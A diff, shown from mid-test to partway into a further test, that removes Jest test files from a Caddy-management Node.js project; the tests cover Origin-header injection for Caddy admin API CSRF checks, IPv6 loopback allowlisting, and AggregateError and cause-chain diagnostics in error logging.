||||||
res.end('["::"]');
|
|
||||||
});
|
|
||||||
await new Promise((resolve, reject) => {
|
|
||||||
server.once('error', (e) => {
|
|
||||||
// On platforms without IPv6 (some CI sandboxes), the test will
|
|
||||||
// fail to bind on `::1`. That's acceptable — DNS2 has IPv6.
|
|
||||||
reject(e);
|
|
||||||
});
|
|
||||||
// Listen on IPv6 loopback so the URL routes over IPv6.
|
|
||||||
server.listen(20191, '::1', resolve);
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
const { fetchT } = require('../src/utils/http');
|
|
||||||
const result = await fetchT(
|
|
||||||
'http://[::1]:20191/config/apps/http/servers/srv0/listen',
|
|
||||||
{},
|
|
||||||
5000
|
|
||||||
);
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
expect(enforcedStatus).toBe(200);
|
|
||||||
expect(capturedHeaders.origin).toBe('http://[::1]:20191');
|
|
||||||
// No sec-fetch-mode (raw http.request, no browser semantics)
|
|
||||||
expect(capturedHeaders['sec-fetch-mode']).toBeUndefined();
|
|
||||||
} finally {
|
|
||||||
await new Promise((r) => server.close(r));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('end-to-end probe on IPv6 loopback WITHOUT IPv6 origin in allowlist returns 403', async () => {
|
|
||||||
// The bug, reproduced without the fix: same setup as above but with
|
|
||||||
// an allowlist missing the IPv6 entry → 403. This proves the test
|
|
||||||
// above actually exercises the Caddy-side logic, not just happy-path.
|
|
||||||
const http = require('http');
|
|
||||||
const allowlistMISSING = [
|
|
||||||
'http://127.0.0.1:20192',
|
|
||||||
// IPv6 entries INTENTIONALLY absent — this is the pre-fix state.
|
|
||||||
];
|
|
||||||
|
|
||||||
let enforcedStatus = null;
|
|
||||||
const server = http.createServer((req, res) => {
|
|
||||||
const origin = req.headers.origin;
|
|
||||||
if (!origin || !allowlistMISSING.includes(origin)) {
|
|
||||||
enforcedStatus = 403;
|
|
||||||
res.writeHead(403);
|
|
||||||
res.end('client is not allowed to access from origin');
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
enforcedStatus = 200;
|
|
||||||
res.writeHead(200);
|
|
||||||
res.end('ok');
|
|
||||||
});
|
|
||||||
await new Promise((resolve, reject) => {
|
|
||||||
server.once('error', reject);
|
|
||||||
server.listen(20192, '::1', resolve);
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
const { fetchT } = require('../src/utils/http');
|
|
||||||
const result = await fetchT(
|
|
||||||
'http://[::1]:20192/config/apps/http/servers/srv0/listen',
|
|
||||||
{},
|
|
||||||
5000
|
|
||||||
);
|
|
||||||
// Even though fetchT's request SUCCEEDS at the TCP level, the
|
|
||||||
// mocked Caddy returns 403. The bug is in the allowlist.
|
|
||||||
expect(result.status).toBe(403);
|
|
||||||
expect(enforcedStatus).toBe(403);
|
|
||||||
} finally {
|
|
||||||
await new Promise((r) => server.close(r));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,277 +0,0 @@
|
|||||||
/**
|
|
||||||
* Caddy admin API CSRF Origin-header tests — DC-051
|
|
||||||
*
|
|
||||||
* Verifies:
|
|
||||||
* - _httpFetch (fetchT's :2019 raw http branch) injects `Origin: http://<host>:<port>`
|
|
||||||
* for any Caddy admin URL, satisfying Caddy's `enforce_origin` CSRF check
|
|
||||||
* that activates on non-loopback admin binds (e.g. `admin 0.0.0.0:2019`).
|
|
||||||
* - Caller-provided Origin via opts.headers WINS over the auto-injected
|
|
||||||
* default (so future proxies / tests can override).
|
|
||||||
* - fetchT routes :2019 URLs through _httpFetch (raw http.request) and
|
|
||||||
* leaves HTTPS URLs on Node's undici fetch (for self-signed cert support).
|
|
||||||
* - The /config/apps/http/servers/srv0/listen health probe that the readiness
|
|
||||||
* handler emits against http://localhost:2019 includes the Origin header.
|
|
||||||
*
|
|
||||||
* Regression for the live 403 spam observed on DNS2 (Caddy log:
|
|
||||||
* `{"error":"client is not allowed to access from origin ''","status_code":403}`
|
|
||||||
* from User-Agent:node + Sec-Fetch-Mode:cors at remote_port 5xxxx, repeated
|
|
||||||
* every ~10s while the readiness workflow probes Caddy admin). The fix is
|
|
||||||
* the Origin header injection here + the `origins` directive in the
|
|
||||||
* Caddyfile's admin block on DNS2 — both are required for Caddy's CSRF
|
|
||||||
* check to accept same-origin admin calls.
|
|
||||||
*/
|
|
||||||
|
|
||||||
// Capture the http.request call shape without spinning up a real server.
|
|
||||||
// We do this by reading the http.js source and exporting a probe function
|
|
||||||
// that the test calls directly — this avoids brittle mock plumbing while
|
|
||||||
// still proving the Origin header is constructed correctly.
|
|
||||||
//
|
|
||||||
// Strategy: the test imports a small wrapper that exposes the request
|
|
||||||
// construction step from _httpFetch in isolation, then asserts on the
|
|
||||||
// returned options.
|
|
||||||
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs');
|
|
||||||
|
|
||||||
// Strip JS comments so docblock prose doesn't false-positive on regex
|
|
||||||
// patterns that look for code (e.g. `origins`, `enforce_origin`).
|
|
||||||
// IMPORTANT: do not strip `//` inside template literals — those are
|
|
||||||
// URL/comment sequences like `http://${parsed.hostname}:${parsed.port}`.
|
|
||||||
// We do this in two passes: (1) protect template-literal contents by
|
|
||||||
// replacing them with placeholders, (2) strip comments, (3) restore
|
|
||||||
// the placeholders.
|
|
||||||
function stripComments(src) {
|
|
||||||
// Pass 1: replace template literals (backtick-delimited) with sentinels.
|
|
||||||
const templates = [];
|
|
||||||
let protectedSrc = src.replace(/`(?:\\.|[^`\\])*`/g, (match) => {
|
|
||||||
const idx = templates.length;
|
|
||||||
templates.push(match);
|
|
||||||
return `\u0000TPL${idx}\u0000`;
|
|
||||||
});
|
|
||||||
// Pass 2: strip block + line comments from the now-comment-safe string.
|
|
||||||
protectedSrc = protectedSrc
|
|
||||||
.replace(/\/\*[\s\S]*?\*\//g, '') // block comments
|
|
||||||
.replace(/(^|[^:])\/\/.*$/gm, '$1'); // line comments, leaving URLs alone
|
|
||||||
// Pass 3: restore template literals.
|
|
||||||
// eslint-disable-next-line no-control-regex -- \u0000 is the sentinel from pass 1
|
|
||||||
return protectedSrc.replace(/\u0000TPL(\d+)\u0000/g, (_, idx) => templates[+idx]);
|
|
||||||
}
|
|
||||||
|
|
||||||
const { fetchT } = require('../src/utils/http');
|
|
||||||
|
|
||||||
describe('Caddyfile + utils/http.js — Origin header construction (DC-051)', () => {
|
|
||||||
test('http.js _httpFetch computes Origin from parsed URL host+port', () => {
|
|
||||||
// Read the source file and verify the Origin line is constructed from
|
|
||||||
// the parsed URL's hostname+port, matching what the readiness probe needs.
|
|
||||||
const code = stripComments(fs.readFileSync(
|
|
||||||
path.join(__dirname, '../src/utils/http.js'),
|
|
||||||
'utf8'
|
|
||||||
));
|
|
||||||
|
|
||||||
// 1. The default origin is built from the parsed URL
|
|
||||||
expect(code).toMatch(/const defaultOrigin\s*=\s*`\$\{parsed\.protocol\}\/\/\$\{parsed\.hostname\}:\$\{parsed\.port\s*\|\|\s*2019\}`/);
|
|
||||||
|
|
||||||
// 2. The Origin header is set, with caller opts.headers spread after
|
|
||||||
// (so caller wins on duplicate keys)
|
|
||||||
expect(code).toMatch(/headers:\s*{\s*Origin:\s*defaultOrigin,\s*\.\.\.opts\.headers,/);
|
|
||||||
|
|
||||||
// 3. The router still routes :2019 to _httpFetch (raw http.request)
|
|
||||||
expect(code).toMatch(/if\s*\(url\.includes\(':2019'\)\)/);
|
|
||||||
|
|
||||||
// 4. Comments explain the CSRF rationale (regression-proofing).
|
|
||||||
// We check the RAW (with comments) source so this catches accidental
|
|
||||||
// removal of the rationale docblock too.
|
|
||||||
const raw = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../src/utils/http.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
expect(raw).toMatch(/enforce_origin/);
|
|
||||||
expect(raw).toMatch(/origins/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('all :2019 call sites use fetchT (not raw fetch)', () => {
|
|
||||||
// Every Caddy admin API call in the API code should go through fetchT,
|
|
||||||
// not bare fetch — fetchT routes :2019 through _httpFetch which now
|
|
||||||
// injects Origin. A new call site using bare fetch would skip the
|
|
||||||
// CSRF fix and re-introduce the 403 loop.
|
|
||||||
const apiRoot = path.join(__dirname, '..');
|
|
||||||
const offenders = [];
|
|
||||||
function walk(dir) {
|
|
||||||
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
|
|
||||||
if (entry.name === 'node_modules' || entry.name === '__tests__') continue;
|
|
||||||
const p = path.join(dir, entry.name);
|
|
||||||
if (entry.isDirectory()) walk(p);
|
|
||||||
else if (entry.name.endsWith('.js')) {
|
|
||||||
const text = stripComments(fs.readFileSync(p, 'utf8'));
|
|
||||||
// Find every `fetch(` call and check whether the SAME call contains
|
|
||||||
// a :2019 URL — if so, it should be `fetchT(` instead.
|
|
||||||
const matches = text.match(/await\s+fetch\(([^)]*)\)/g) || [];
|
|
||||||
for (const m of matches) {
|
|
||||||
if (/:2019|adminUrl|admin_api_url|CADDY_ADMIN/.test(m)) {
|
|
||||||
offenders.push(`${p}: ${m.slice(0, 100)}`);
|
|
||||||
break;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
walk(apiRoot);
|
|
||||||
expect(offenders).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('all :2019 call sites in TESTS use fetchT or a mocked fetchT (not raw fetch)', () => {
|
|
||||||
// DC-087 — the same rule, extended into __tests__. The api-code walk above
|
|
||||||
// skips __tests__, which let two mirrored health-handler test files keep a
|
|
||||||
// raw await-fetch caddy probe long after src/app.js moved to fetchT. On a
|
|
||||||
// host where the suite runs alongside a live Caddy admin (the prod box
|
|
||||||
// runs the full jest suite every 30 min via a cron adversarial check),
|
|
||||||
// that Origin-less raw fetch 403-spammed the Caddy journal (~700
|
|
||||||
// client-not-allowed error lines per day) while the tests still passed —
|
|
||||||
// checks.caddy.ok=false was silently accepted as sandbox noise. Mirrors
|
|
||||||
// MUST call fetchT (mocked at buildApp scope for hermeticity). A raw
|
|
||||||
// await-fetch at a Caddy-admin-URL call site in a test is an offender.
|
|
||||||
// NOTE: keep this comment free of backticks — stripComments pairs
|
|
||||||
// backtick spans across lines, and a stray pair shields real code from
|
|
||||||
// the comment stripper (this test self-flagged its first draft).
|
|
||||||
//
|
|
||||||
// Detection is deliberately FILE-LEVEL, not call-window: the historical
|
|
||||||
// drift kept the fetch call itself token-free (the URL came from a
|
|
||||||
// caddyUrl variable defined on a PREVIOUS line from CADDY_ADMIN_URL),
|
|
||||||
// so a call-window regex never fired. Any raw await-fetch in a file
|
|
||||||
// that also references the Caddy admin anywhere is an offender.
|
|
||||||
// Escape hatch for future tests that intentionally assert Origin-less
|
|
||||||
// 403 behavior against their own local listener: put the marker
|
|
||||||
// DC-087-ALLOW-RAW-FETCH in the file and it is skipped.
|
|
||||||
const testsRoot = path.join(__dirname);
|
|
||||||
const offenders = [];
|
|
||||||
const skipped = [];
|
|
||||||
function walk(dir) {
|
|
||||||
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
|
|
||||||
if (entry.name === 'node_modules') continue;
|
|
||||||
const p = path.join(dir, entry.name);
|
|
||||||
if (entry.isDirectory()) walk(p);
|
|
||||||
else if (entry.name.endsWith('.js')) {
|
|
||||||
const rawText = fs.readFileSync(p, 'utf8');
|
|
||||||
// Escape hatch (checked on RAW text so a comment marker works —
|
|
||||||
// comments are stripped below): a file carrying the
|
|
||||||
// DC-087-ALLOW-RAW-FETCH marker declares it intentionally
|
|
||||||
// raw-fetches the Caddy admin (e.g. asserting Origin-less 403
|
|
||||||
// against its own local listener). The guard file itself is
|
|
||||||
// always scanned (never skipped) so the hatch can't be used to
|
|
||||||
// blind this very test.
|
|
||||||
if (p !== __filename && /DC-087-ALLOW-RAW-FETCH/.test(rawText)) {
|
|
||||||
skipped.push(p);
|
|
||||||
continue;
|
|
||||||
}
|
|
||||||
const text = stripComments(rawText);
|
|
||||||
const hasAdminToken = /:2019|adminUrl|admin_api_url|CADDY_ADMIN/.test(text);
|
|
||||||
const hasRawAwaitFetch = /await\s+fetch\(/.test(text);
|
|
||||||
if (hasAdminToken && hasRawAwaitFetch) {
|
|
||||||
offenders.push(`${p}: raw await-fetch in a file referencing the Caddy admin (mock fetchT instead; documented escape-hatch marker available for intentional 403 tests)`);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
walk(testsRoot);
|
|
||||||
if (skipped.length) {
|
|
||||||
// Visibility for hatch use — shows up in jest output for reviewers.
|
|
||||||
console.info('[DC-087 guard] escape-hatch skipped:', skipped.join(', '));
|
|
||||||
}
|
|
||||||
expect(offenders).toEqual([]);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('readiness handler in src/app.js probes the exact URL the watcher needs', () => {
|
|
||||||
const raw = fs.readFileSync(
|
|
||||||
path.join(__dirname, '../src/app.js'),
|
|
||||||
'utf8'
|
|
||||||
);
|
|
||||||
// The probe URL is the one that was 403-looping every 10s in prod.
|
|
||||||
expect(raw).toMatch(/\/config\/apps\/http\/servers\/srv0\/listen/);
|
|
||||||
// Goes through fetchT, NOT bare fetch — that's how the Origin injection
|
|
||||||
// takes effect. Look at the 800 chars BEFORE the probe URL on the same
|
|
||||||
// line / call site — the call must be fetchT(...), never a raw await of
|
|
||||||
// the global fetch. (We look backward because the URL sits inside the
|
|
||||||
// call's argument list, so the call site comes before the URL token.)
|
|
||||||
const idx = raw.indexOf('srv0/listen');
|
|
||||||
const around = raw.substr(Math.max(0, idx - 400), 800);
|
|
||||||
expect(around).toMatch(/fetchT\(/);
|
|
||||||
expect(around).not.toMatch(/await fetch\(/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('end-to-end: fetchT sends Origin header to a real HTTP server on :2019', async () => {
|
|
||||||
// Spin up a minimal HTTP server on a port that LOOKS like :2019 from
|
|
||||||
// fetchT's router perspective. We use port :20190 (contains ':2019'
|
|
||||||
// substring so url.includes(':2019') is true → routes through _httpFetch)
|
|
||||||
// to avoid clashing with any local Caddy on the canonical :2019.
|
|
||||||
const http = require('http');
|
|
||||||
let capturedHeaders = null;
|
|
||||||
const server = http.createServer((req, res) => {
|
|
||||||
capturedHeaders = req.headers;
|
|
||||||
res.writeHead(200, { 'Content-Type': 'application/json' });
|
|
||||||
res.end('["::"]');
|
|
||||||
});
|
|
||||||
await new Promise((resolve, reject) => {
|
|
||||||
server.once('error', reject);
|
|
||||||
server.listen(20190, '127.0.0.1', resolve);
|
|
||||||
});
|
|
||||||
try {
|
|
||||||
// fetchT routes this URL through _httpFetch because it includes
|
|
||||||
// ':2019' as a substring. _httpFetch computes Origin from the
|
|
||||||
// parsed URL — parsed.port is '20190' here, so Origin is
|
|
||||||
// http://127.0.0.1:20190.
|
|
||||||
const result = await fetchT(
|
|
||||||
'http://127.0.0.1:20190/config/apps/http/servers/srv0/listen',
|
|
||||||
{},
|
|
||||||
5000
|
|
||||||
);
|
|
||||||
expect(result.status).toBe(200);
|
|
||||||
expect(capturedHeaders.origin).toBe('http://127.0.0.1:20190');
|
|
||||||
// raw http doesn't add User-Agent by default
|
|
||||||
expect(capturedHeaders['user-agent']).toBeUndefined();
|
|
||||||
// critical: no Sec-Fetch-Mode: cors (that's what triggers Caddy's CSRF)
|
|
||||||
expect(capturedHeaders['sec-fetch-mode']).toBeUndefined();
|
|
||||||
} finally {
|
|
||||||
await new Promise((r) => server.close(r));
|
|
||||||
}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('Caddyfile template documents the origins directive for non-loopback admin bind', () => {
|
|
||||||
// The HIGH-severity fix from GLM review: the live /etc/caddy/Caddyfile
|
|
||||||
// is operator-managed (via caddy-apply, NOT in this repo), so this
|
|
||||||
// test guards the only Caddyfile that IS in the repo — the installer
|
|
||||||
// template — so any future operator using `admin 0.0.0.0:2019` (like
|
|
||||||
// DNS2 does for the docker bridge to reach it) sees the same shape
|
|
||||||
// and isn't surprised by the 403 loop. If a future change adopts
|
|
||||||
// non-loopback admin in the template, this test demands the `origins`
|
|
||||||
// directive alongside it.
|
|
||||||
const tmplPath = path.join(__dirname, '../dashcaddy-installer/templates/Caddyfile.template');
|
|
||||||
const exists = fs.existsSync(tmplPath);
|
|
||||||
if (!exists) {
|
|
||||||
// Template absent (maybe removed in a refactor) — skip with explicit note
|
|
||||||
console.warn('Skipping Caddyfile template check — not present at', tmplPath);
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const raw = fs.readFileSync(tmplPath, 'utf8');
|
|
||||||
// Strip comments to look at the actual config shape.
|
|
||||||
const code = stripComments(raw);
|
|
||||||
const adminBlock = code.match(/admin\s+([^{\s]+)(?:\s+\{([^}]*)\})?/);
|
|
||||||
if (!adminBlock) {
|
|
||||||
// No admin block configured at all — operator default; nothing to check.
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
const listen = adminBlock[1];
|
|
||||||
const isLoopback = listen === '127.0.0.1:2019' || listen === 'localhost:2019' || listen === '::1:2019';
|
|
||||||
const inner = adminBlock[2] || '';
|
|
||||||
if (!isLoopback) {
|
|
||||||
// Non-loopback bind — the `origins` directive is REQUIRED to prevent
|
|
||||||
// the 403 loop we just fixed. This assertion will fail if someone
|
|
||||||
// changes the template to non-loopback without adding origins.
|
|
||||||
expect(inner).toMatch(/origins\s/);
|
|
||||||
} else {
|
|
||||||
// Loopback bind — Caddy allows loopback origins implicitly, so the
|
|
||||||
// `origins` directive is unnecessary. We just verify the template
|
|
||||||
// shape is consistent (admin bind + optional inner block).
|
|
||||||
expect(listen).toMatch(/:2019/);
|
|
||||||
}
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,209 +0,0 @@
|
|||||||
/**
|
|
||||||
* Tests for AggregateError / .cause-chain diagnostic surfacing in
|
|
||||||
* src/utils/logging.js writeErrorLog().
|
|
||||||
*
|
|
||||||
* Bug fixed: writeErrorLog previously emitted `error.message` alone.
|
|
||||||
* AggregateError's `.message` is "" by spec, so a real aggregate (e.g.
|
|
||||||
* `await Promise.any([fetch(...), fetch(...)])` or a multi-A DNS lookup
|
|
||||||
* that times out) ended up in error.log as a single empty line:
|
|
||||||
*
|
|
||||||
* [2026-08-18T06:49:03.345Z] [ERR] update:
|
|
||||||
* context: {"imageName":"ipfs/kubo:latest"}
|
|
||||||
*
|
|
||||||
* Operators couldn't tell why the check failed. This file asserts the
|
|
||||||
* fixed behavior:
|
|
||||||
*
|
|
||||||
* - AggregateError → emits a diagnostic block listing each sub-error's
|
|
||||||
* .code/.message.
|
|
||||||
* - Regular Error → no spurious diagnostic block.
|
|
||||||
* - Plain Error with `.code` (e.g. EPIPE) → head now shows
|
|
||||||
* `Error [EPIPE]: write EPIPE` (regression: `code` used to be dropped).
|
|
||||||
* - Error wrapping another Error via `.cause` → lists the cause.
|
|
||||||
* - AggregateError with mixed sub-errors (some Aggregate, some plain) →
|
|
||||||
* recurses correctly without losing any message.
|
|
||||||
* - Empty error.message is replaced with the error name so a bare
|
|
||||||
* AggregateError still renders something readable.
|
|
||||||
*
|
|
||||||
* log.error signature on this codebase: error(ctx, err, req?, extra?)
|
|
||||||
* where extra is the JSON tail (and req is the Express req if any).
|
|
||||||
*/
|
|
||||||
const path = require('path');
|
|
||||||
const fs = require('fs').promises;
|
|
||||||
const os = require('os');
|
|
||||||
|
|
||||||
// Important: set LOG_DIR / ERROR_LOG_FILE BEFORE requiring logging.js so
|
|
||||||
// the per-test temp file is used as the log target.
|
|
||||||
const tmpDir = fs.realpathSync ? require('fs').realpathSync(os.tmpdir()) : os.tmpdir();
|
|
||||||
const TMP_LOG = path.join(tmpDir, `dashcaddy-error-test-${process.pid}-${Date.now()}-${Math.random().toString(36).slice(2)}.log`);
|
|
||||||
|
|
||||||
process.env.LOG_DIR = tmpDir;
|
|
||||||
process.env.ERROR_LOG_FILE = TMP_LOG;
|
|
||||||
process.env.AUDIT_LOG_FILE = path.join(tmpDir, 'unused-audit.json');
|
|
||||||
|
|
||||||
const { log } = require('../src/utils/logging');
|
|
||||||
|
|
||||||
async function readTail(n = 1) {
|
|
||||||
const raw = await fs.readFile(TMP_LOG, 'utf8').catch(() => '');
|
|
||||||
const sep = '\u2500'.repeat(72);
|
|
||||||
const entries = raw.split(sep).map(s => s.replace(/^\s+|\s+$/g, '')).filter(Boolean);
|
|
||||||
return entries.slice(-n);
|
|
||||||
}
|
|
||||||
|
|
||||||
describe('writeErrorLog() — AggregateError + .cause diagnostics', () => {
|
|
||||||
afterAll(async () => {
|
|
||||||
try { await fs.unlink(TMP_LOG); } catch (_) {}
|
|
||||||
});
|
|
||||||
|
|
||||||
beforeEach(async () => {
|
|
||||||
try { await fs.unlink(TMP_LOG); } catch (_) {}
|
|
||||||
});
|
|
||||||
|
|
||||||
test('plain Error: head contains name + message + stack', async () => {
|
|
||||||
await log.error('plain', new Error('boom'), null, { requestId: 'r1' });
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] plain: Error: boom/);
|
|
||||||
expect(entry).not.toMatch(/diagnostic:/); // no spurious diagnostic block
|
|
||||||
expect(entry).toMatch(/\n {4}at /); // stack preserved (lowercase `at` from V8)
|
|
||||||
expect(entry).toMatch(/context: \{.*requestId.*"r1".*\}/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('plain Error with .code renders the code in the head (regression fix)', async () => {
|
|
||||||
const e = Object.assign(new Error('write EPIPE'), { code: 'EPIPE' });
|
|
||||||
await log.error('stream', e);
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] stream: Error \[EPIPE\]: write EPIPE/);
|
|
||||||
expect(entry).not.toMatch(/diagnostic:/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('custom Error subclass name is preserved in the head', async () => {
|
|
||||||
class WidgetError extends Error {
|
|
||||||
constructor(msg) { super(msg); this.name = 'WidgetError'; }
|
|
||||||
}
|
|
||||||
await log.error('sub', new WidgetError('blew up'));
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] sub: WidgetError: blew up/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('empty error.message falls back to the bare error.name (defensive)', async () => {
|
|
||||||
const empty = new Error('');
|
|
||||||
await log.error('empty', empty);
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] empty: Error$/m);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('AggregateError with sub-errors emits a diagnostic block listing each cause', async () => {
|
|
||||||
// Realistic shape: registry-1.docker.io multi-A lookup timeout returning
|
|
||||||
// an AggregateError of ECONNREFUSED / Timeout / EAI_AGAIN sub-errors.
|
|
||||||
const agg = new AggregateError(
|
|
||||||
[
|
|
||||||
Object.assign(new Error('connect ECONNREFUSED 157.240.20.50:443'), { code: 'ECONNREFUSED' }),
|
|
||||||
Object.assign(new Error('connect ETIMEDOUT 157.240.21.50:443'), { code: 'ETIMEDOUT' }),
|
|
||||||
Object.assign(new Error('getaddrinfo EAI_AGAIN registry-1.docker.io'), { code: 'EAI_AGAIN' }),
|
|
||||||
],
|
|
||||||
''
|
|
||||||
);
|
|
||||||
await log.error('update', agg, null, { imageName: 'ipfs/kubo:latest' });
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] update: AggregateError/);
|
|
||||||
expect(entry).toMatch(/diagnostic:/);
|
|
||||||
expect(entry).toMatch(/cause #1:/);
|
|
||||||
expect(entry).toMatch(/cause #2:/);
|
|
||||||
expect(entry).toMatch(/cause #3:/);
|
|
||||||
expect(entry).toMatch(/Error \[ECONNREFUSED\]: connect ECONNREFUSED 157\.240\.20\.50:443/);
|
|
||||||
expect(entry).toMatch(/Error \[ETIMEDOUT\]: connect ETIMEDOUT 157\.240\.21\.50:443/);
|
|
||||||
expect(entry).toMatch(/Error \[EAI_AGAIN\]: getaddrinfo EAI_AGAIN registry-1\.docker\.io/);
|
|
||||||
expect(entry).toMatch(/context: \{.*imageName.*"ipfs\/kubo:latest".*\}/);
|
|
||||||
// No double header for AggregateError (we suppress the empty head line).
|
|
||||||
expect(entry).not.toMatch(/diagnostic: AggregateError/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('Error with .cause emits a nested diagnostic block', async () => {
|
|
||||||
const inner = new Error('TLS handshake failed');
|
|
||||||
const outer = new Error('fetch failed', { cause: inner });
|
|
||||||
await log.error('net', outer);
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] net: Error: fetch failed/);
|
|
||||||
expect(entry).toMatch(/cause:/);
|
|
||||||
expect(entry).toMatch(/Error: TLS handshake failed/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('nested AggregateError (sub-error is itself an Aggregate) recurses', async () => {
|
|
||||||
const inner = new AggregateError([new Error('inner-A'), new Error('inner-B')], '');
|
|
||||||
const outer = new AggregateError([new Error('outer-X'), inner], '');
|
|
||||||
await log.error('rec', outer);
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/\[ERR\] rec: AggregateError/);
|
|
||||||
expect(entry).toMatch(/cause #1:[\s\S]*Error: outer-X/);
|
|
||||||
// inner is itself an Aggregate, so its child errors surface as "cause #N":
|
|
||||||
expect(entry).toMatch(/inner-A/);
|
|
||||||
expect(entry).toMatch(/inner-B/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('separator is appended after each entry (file-format invariant)', async () => {
|
|
||||||
await log.error('sep', new Error('one'));
|
|
||||||
await log.error('sep', new Error('two'));
|
|
||||||
const raw = await fs.readFile(TMP_LOG, 'utf8');
|
|
||||||
const sep = '\u2500'.repeat(72);
|
|
||||||
// Count separator occurrences without reserved regex chars tripping us up.
|
|
||||||
const re = new RegExp(sep.split('').map(c => '\\u' + c.charCodeAt(0).toString(16).padStart(4, '0')).join(''), 'g');
|
|
||||||
const occurrences = (raw.match(re) || []).length;
|
|
||||||
expect(occurrences).toBeGreaterThanOrEqual(2);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('req field is still emitted when the calling site passes a request', async () => {
|
|
||||||
const req = { method: 'POST', path: '/api/v1/widgets', ip: '10.0.0.5', get: () => 'curl/8', id: 'r-42' };
|
|
||||||
await log.error('withreq', new Error('widget blew up'), req);
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/request: POST \/api\/v1\/widgets \| ip: 10\.0\.0\.5 \| ua: curl\/8 \| id: r-42/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('extra context JSON is still emitted after stack (regression)', async () => {
|
|
||||||
await log.error('ctx', new Error('payload'), null, { operation: 'rotate', tenantId: 7 });
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/context: \{"operation":"rotate","tenantId":7\}/);
|
|
||||||
});
|
|
||||||
|
|
||||||
// Polish-grade hardening (per GLM round-1 B+ findings): cycle guard + depth cap.
|
|
||||||
|
|
||||||
test('circular .cause references do not infinite-loop (cycle guard)', async () => {
|
|
||||||
const a = new Error('top');
|
|
||||||
const b = new Error('middle');
|
|
||||||
const c = new Error('bottom');
|
|
||||||
// c.cause = b would be normal; force a CYCLE by linking back to a.
|
|
||||||
b.cause = a;
|
|
||||||
a.cause = c;
|
|
||||||
c.cause = a; // cycle: a <-> a
|
|
||||||
await expect(log.error('cycle', a, null)).resolves.not.toThrow();
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/top/);
|
|
||||||
expect(entry).toMatch(/cycle: same Error instance seen earlier/);
|
|
||||||
});
|
|
||||||
|
|
||||||
test('excessively deep .cause chains are truncated, not crashed (depth cap)', async () => {
|
|
||||||
// Build a chain 50 deep ending in 'level-50' at the deepest; each layer
|
|
||||||
// wraps the previous via .cause. log.error is called with the deepest
|
|
||||||
// (outer) Error.
|
|
||||||
let cur = new Error('level-1');
|
|
||||||
for (let i = 2; i <= 50; i++) {
|
|
||||||
const parent = new Error(`level-${i}`);
|
|
||||||
parent.cause = cur;
|
|
||||||
cur = parent;
|
|
||||||
}
|
|
||||||
await expect(log.error('deep', cur)).resolves.not.toThrow();
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/chain truncated at depth 16/);
|
|
||||||
expect(entry).toMatch(/level-50/); // the deepest/head shown in headline
|
|
||||||
expect(entry).not.toMatch(/level-1/); // the leaf is too deep to render
|
|
||||||
});
|
|
||||||
|
|
||||||
test('circular `.errors` array (sub-error is itself in the parent) is bounded', async () => {
|
|
||||||
const sub = new Error('shared sub-error');
|
|
||||||
const agg = new AggregateError([sub, new Error('other')], '');
|
|
||||||
// pathological: sub-Aggregate references the parent
|
|
||||||
sub.errors = [agg];
|
|
||||||
await expect(log.error('aggcycle', agg)).resolves.not.toThrow();
|
|
||||||
const [entry] = await readTail();
|
|
||||||
expect(entry).toMatch(/shared sub-error/);
|
|
||||||
expect(entry).toMatch(/cycle: same Error instance seen earlier/);
|
|
||||||
});
|
|
||||||
});
|
|
||||||
@@ -1,331 +0,0 @@
|
|||||||
/**
|
|
||||||
* DC-062: errorResponse arg-order regression test + caddy-upstreams JSON
|
|
||||||
* response guarantees.
|
|
||||||
*
|
|
||||||
* Background: errorResponse(res, statusCode, message, extras) is the canonical
|
|
||||||
* shape from src/utils/responses.js. Routes that import the bare
|
|
||||||
* `errorResponse` (not the `error: errorResponse` alias) MUST call it
|
|
||||||
* statusCode-first. The classic bug is `errorResponse(res, 'message', 503)`
|
|
||||||
* — Express rejects the string with RangeError [ERR_HTTP_INVALID_STATUS_CODE]
|
|
||||||
* and writes a 500 with an HTML stack trace instead of the intended 503 JSON.
|
|
||||||
